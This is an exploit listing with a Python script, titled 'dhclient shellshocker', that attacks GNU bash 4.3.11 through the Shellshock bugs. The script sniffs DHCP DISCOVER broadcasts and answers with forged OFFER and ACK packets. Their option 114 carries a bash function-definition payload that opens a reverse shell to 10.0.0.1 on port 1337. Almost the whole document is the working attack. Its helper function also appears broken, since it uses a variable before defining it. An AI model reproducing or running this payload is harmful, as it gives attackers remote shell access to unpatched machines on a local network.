GNU bash 4.3.11 – Environment Variable dhclient
#!/usr/bin/python # Exploit Title: dhclient shellshocker # Google Dork: n/a # Date: 10/1/14 # Exploit Author: @0x00string # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz # Version: 4.3.11 # Tested on: Ubuntu 14.04.1 # CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187 # ______ ______ ______ _ # / __ | / __ |/ __ | _ (_) #| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___ #| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___) #| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ | # \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/ # (_____| # _ _ _ _ # | | | | (_) _ # _ | | | _ ____| |_ ____ ____ | |_ # / || | || \ / ___) | |/ _ ) _ \| _) #( (_| | | | ( (___| | ( (/ /| | | | |__ # \____|_| |_|\____)_|_|\____)_| |_|\___) # # _ _ _ _ _ # | | | | | | | | | # ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____ # /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___) #|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| | #(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_| # this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts # once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out # The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability. # can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example. import socket, struct def HexToByte( hexStr ): b = [] h = ''.join( h.split(" ") ) for i in range(0, len(h), 2): b.append( chr( int (h[i:i+2], 16 ) ) ) return ''.join( b ) rport = 68 lport = 67 bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bsock.bind(("<broadcast>", lport)) while True: OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114 URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex") URLLEN = chr(len(URL) / 2).encode("hex") END = "03040a000001ff" broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048) hexip = broadcast_get[245:249] rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3])) XID = broadcast_get[4:8].encode("hex") chaddr = broadcast_get[29:34].encode("hex") print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n" OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END OFFER_BYTES = HexToByte(OFFER) ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END ACK_BYTES = HexToByte(ACK) print "[+]\tsending evil offer\n" sock.sendto(OFFER_BYTES, (rhost, rport)) broadcast_get2 = bsock.recvfrom(2048) print "[+]\tassuming request was received, sending ACK\n" sock.sendto(ACK_BYTES, (rhost, rport)) |